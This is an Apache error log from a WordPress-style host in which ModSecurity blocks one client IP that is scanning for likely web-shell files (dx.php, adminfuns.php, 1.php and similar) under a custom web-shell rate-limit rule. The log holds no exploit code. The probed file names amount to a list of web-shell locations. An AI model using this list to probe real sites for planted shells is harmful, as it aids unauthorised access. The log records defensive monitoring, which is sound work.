[Sun May 24 21:57:18.538166 2026] [:error] [pid 11280:tid 11287] [client 20.195.192.35:10119] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/puc.php"] [unique_id "ahMDvoRn5s7laoSxy1QbxwAAAEI"]
[Sun May 24 21:57:19.359048 2026] [:error] [pid 15835:tid 15861] [client 20.195.192.35:10212] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/puc.php"] [unique_id "ahMDv2WbknYlUM9P0qPkbwAAABg"]
[Sun May 24 21:57:20.074551 2026] [:error] [pid 11281:tid 11335] [client 20.195.192.35:10055] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/puc.php"] [unique_id "ahMDwJKmC9taWvA91j6KBwAAAJY"]
[Sun May 24 21:57:20.895138 2026] [:error] [pid 11282:tid 11346] [client 20.195.192.35:10122] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "ahMDwO0bPyN3C7HZ1R-ngwAAAMY"]
[Sun May 24 21:57:21.549469 2026] [:error] [pid 11368:tid 11373] [client 20.195.192.35:10222] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "ahMDwYfq_sTmmtTKm1U2JQAAAQM"]
[Sun May 24 21:57:22.413135 2026] [:error] [pid 11368:tid 11389] [client 20.195.192.35:10172] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "ahMDwofq_sTmmtTKm1U2KgAAARM"]
[Sun May 24 21:57:23.575228 2026] [:error] [pid 11368:tid 11375] [client 20.195.192.35:10133] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "ahMDw4fq_sTmmtTKm1U2LgAAAQU"]
[Sun May 24 21:57:24.412045 2026] [:error] [pid 15835:tid 15837] [client 20.195.192.35:10176] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "ahMDxGWbknYlUM9P0qPkcgAAAAA"]
[Sun May 24 21:57:25.534354 2026] [:error] [pid 11368:tid 11385] [client 20.195.192.35:10100] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "ahMDxYfq_sTmmtTKm1U2MgAAAQ8"]
[Sun May 24 21:57:26.445220 2026] [:error] [pid 11368:tid 11387] [client 20.195.192.35:10183] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "ahMDxofq_sTmmtTKm1U2NQAAARE"]
[Sun May 24 21:57:27.293543 2026] [:error] [pid 11368:tid 11373] [client 20.195.192.35:10079] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "ahMDx4fq_sTmmtTKm1U2NgAAAQM"]
[Sun May 24 21:57:28.275414 2026] [:error] [pid 15835:tid 15859] [client 20.195.192.35:10131] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "ahMDyGWbknYlUM9P0qPkdgAAABY"]
[Sun May 24 21:57:29.485323 2026] [:error] [pid 11368:tid 11394] [client 20.195.192.35:10069] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "ahMDyYfq_sTmmtTKm1U2OgAAARg"]
[Sun May 24 21:57:30.672952 2026] [:error] [pid 15835:tid 15857] [client 20.195.192.35:10155] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "ahMDymWbknYlUM9P0qPkegAAABQ"]
[Sun May 24 21:57:31.815878 2026] [:error] [pid 11368:tid 11370] [client 20.195.192.35:10064] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "ahMDy4fq_sTmmtTKm1U2PwAAAQA"]
[Sun May 24 21:57:32.740138 2026] [:error] [pid 11368:tid 11375] [client 20.195.192.35:10198] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "ahMDzIfq_sTmmtTKm1U2QwAAAQU"]
[Sun May 24 21:57:33.461785 2026] [:error] [pid 11368:tid 11394] [client 20.195.192.35:10152] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "ahMDzYfq_sTmmtTKm1U2RgAAARg"]
[Sun May 24 21:57:34.277746 2026] [:error] [pid 11281:tid 11326] [client 20.195.192.35:10101] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "ahMDzpKmC9taWvA91j6KEwAAAI0"]
[Sun May 24 21:57:35.117430 2026] [:error] [pid 11368:tid 11387] [client 20.195.192.35:10227] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "ahMDz4fq_sTmmtTKm1U2TAAAARE"]
[Sun May 24 21:57:35.778438 2026] [:error] [pid 11282:tid 11342] [client 20.195.192.35:10144] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "ahMDz-0bPyN3C7HZ1R-njgAAAMI"]
[Sun May 24 21:57:36.501687 2026] [:error] [pid 11368:tid 11381] [client 20.195.192.35:10171] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "ahMD0Ifq_sTmmtTKm1U2TQAAAQs"]
[Sun May 24 21:57:37.436830 2026] [:error] [pid 15835:tid 15849] [client 20.195.192.35:10169] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "ahMD0WWbknYlUM9P0qPlAQAAAAw"]
[Sun May 24 21:57:38.910317 2026] [:error] [pid 11280:tid 11288] [client 20.195.192.35:10238] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "ahMD0oRn5s7laoSxy1QbywAAAEM"]
[Sun May 24 21:57:39.724030 2026] [:error] [pid 15835:tid 15842] [client 20.195.192.35:10141] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "ahMD02WbknYlUM9P0qPlUgAAAAU"]
[Sun May 24 21:57:40.400421 2026] [:error] [pid 11368:tid 11372] [client 20.195.192.35:10209] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "ahMD1Ifq_sTmmtTKm1U2VwAAAQI"]
[Sun May 24 21:57:41.280152 2026] [:error] [pid 11368:tid 11373] [client 20.195.192.35:10195] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "ahMD1Yfq_sTmmtTKm1U2XAAAAQM"]
[Sun May 24 21:57:42.353763 2026] [:error] [pid 11368:tid 11393] [client 20.195.192.35:10048] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "ahMD1ofq_sTmmtTKm1U2YAAAARc"]
[Sun May 24 21:57:43.246223 2026] [:error] [pid 11368:tid 11384] [client 20.195.192.35:10003] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "ahMD14fq_sTmmtTKm1U2YgAAAQ4"]
[Sun May 24 21:57:44.438265 2026] [:error] [pid 11368:tid 11388] [client 20.195.192.35:10153] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "ahMD2Ifq_sTmmtTKm1U2ZQAAARI"]
[Sun May 24 21:57:45.664679 2026] [:error] [pid 15835:tid 15846] [client 20.195.192.35:10059] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "ahMD2WWbknYlUM9P0qPlgAAAAAk"]
[Sun May 24 21:57:46.534921 2026] [:error] [pid 11282:tid 11348] [client 20.195.192.35:10175] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "ahMD2u0bPyN3C7HZ1R-nowAAAMg"]
[Sun May 24 21:57:47.314568 2026] [:error] [pid 15835:tid 15850] [client 20.195.192.35:10019] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "ahMD22WbknYlUM9P0qPlhwAAAA0"]
[Sun May 24 21:57:47.973863 2026] [:error] [pid 11368:tid 11387] [client 20.195.192.35:9993] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "ahMD24fq_sTmmtTKm1U2bwAAARE"]
[Sun May 24 21:57:48.817871 2026] [:error] [pid 11281:tid 11335] [client 20.195.192.35:10158] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "ahMD3JKmC9taWvA91j6KFwAAAJY"]
[Sun May 24 21:57:49.849617 2026] [:error] [pid 11368:tid 11384] [client 20.195.192.35:10159] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "ahMD3Yfq_sTmmtTKm1U2cQAAAQ4"]
[Sun May 24 21:57:50.502973 2026] [:error] [pid 11281:tid 11334] [client 20.195.192.35:10060] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "ahMD3pKmC9taWvA91j6KHAAAAJU"]
[Sun May 24 21:57:51.185208 2026] [:error] [pid 11368:tid 11382] [client 20.195.192.35:10052] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "ahMD34fq_sTmmtTKm1U2cwAAAQw"]
[Sun May 24 21:57:53.232008 2026] [:error] [pid 11280:tid 11309] [client 20.195.192.35:10078] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "ahMD4YRn5s7laoSxy1Qb0wAAAFg"]
[Sun May 24 21:57:56.021976 2026] [:error] [pid 11368:tid 11377] [client 20.195.192.35:10030] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "ahMD5Ifq_sTmmtTKm1U2eQAAAQc"]
[Sun May 24 21:57:57.194752 2026] [:error] [pid 15835:tid 15845] [client 20.195.192.35:10170] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "ahMD5WWbknYlUM9P0qPlkgAAAAg"]
[Sun May 24 21:57:58.157888 2026] [:error] [pid 11282:tid 11349] [client 20.195.192.35:10001] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "ahMD5u0bPyN3C7HZ1R-npgAAAMk"]
[Sun May 24 21:57:59.484743 2026] [:error] [pid 11281:tid 11327] [client 20.195.192.35:10108] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "ahMD55KmC9taWvA91j6KIgAAAI4"]
[Sun May 24 21:58:00.679158 2026] [:error] [pid 11281:tid 11315] [client 20.195.192.35:10062] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "ahMD6JKmC9taWvA91j6KJAAAAII"]
[Sun May 24 21:58:01.962643 2026] [:error] [pid 15835:tid 15841] [client 20.195.192.35:10138] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Sun May 24 21:58:02.305306 2026] [:error] [pid 15835:tid 15851] [client 20.195.192.35:10138] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Sun May 24 21:58:02.617945 2026] [:error] [pid 15835:tid 15846] [client 20.195.192.35:10138] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Sun May 24 21:58:03.241391 2026] [:error] [pid 15835:tid 15857] [client 20.195.192.35:10138] File does not exist: /usr/local/apache/htdocs/suspended-page/f6.php
[Sun May 24 21:58:03.553301 2026] [:error] [pid 15835:tid 15859] [client 20.195.192.35:10138] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Sun May 24 21:58:03.864405 2026] [:error] [pid 15835:tid 15850] [client 20.195.192.35:10138] File does not exist: /usr/local/apache/htdocs/suspended-page/av.php
[Sun May 24 21:58:04.182426 2026] [:error] [pid 15835:tid 15858] [client 20.195.192.35:10138] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Sun May 24 21:58:04.806675 2026] [:error] [pid 15835:tid 15843] [client 20.195.192.35:10138] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog.php
[Sun May 24 21:58:05.488442 2026] [:error] [pid 15835:tid 15848] [client 20.195.192.35:10138] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "ahMD7WWbknYlUM9P0qPlnwAAAAs"]
[Sun May 24 21:58:06.275406 2026] [:error] [pid 11280:tid 11292] [client 20.195.192.35:10036] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "ahMD7oRn5s7laoSxy1Qb2gAAAEc"]
[Sun May 24 21:58:07.225740 2026] [:error] [pid 11282:tid 11352] [client 20.195.192.35:10049] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "ahMD7-0bPyN3C7HZ1R-nsQAAAMw"]
[Sun May 24 21:58:07.936583 2026] [:error] [pid 11280:tid 11288] [client 20.195.192.35:10147] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "ahMD74Rn5s7laoSxy1Qb3AAAAEM"]
[Sun May 24 21:58:08.804955 2026] [:error] [pid 11281:tid 11324] [client 20.195.192.35:10015] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "ahMD8JKmC9taWvA91j6KJwAAAIs"]
[Sun May 24 21:58:09.723322 2026] [:error] [pid 11282:tid 11352] [client 20.195.192.35:10090] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "ahMD8e0bPyN3C7HZ1R-nugAAAMw"]
[Sun May 24 21:58:10.588829 2026] [:error] [pid 11281:tid 11329] [client 20.195.192.35:10226] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "ahMD8pKmC9taWvA91j6KKQAAAJA"]
[Sun May 24 21:58:11.221312 2026] [:error] [pid 11282:tid 11346] [client 20.195.192.35:10186] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "ahMD8-0bPyN3C7HZ1R-nvgAAAMY"]
[Sun May 24 21:58:12.253604 2026] [:error] [pid 11281:tid 11322] [client 20.195.192.35:10157] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goods.php"] [unique_id "ahMD9JKmC9taWvA91j6KLQAAAIk"]
[Sun May 24 21:58:12.907097 2026] [:error] [pid 11280:tid 11296] [client 20.195.192.35:10216] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goods.php"] [unique_id "ahMD9IRn5s7laoSxy1Qb4AAAAEs"]
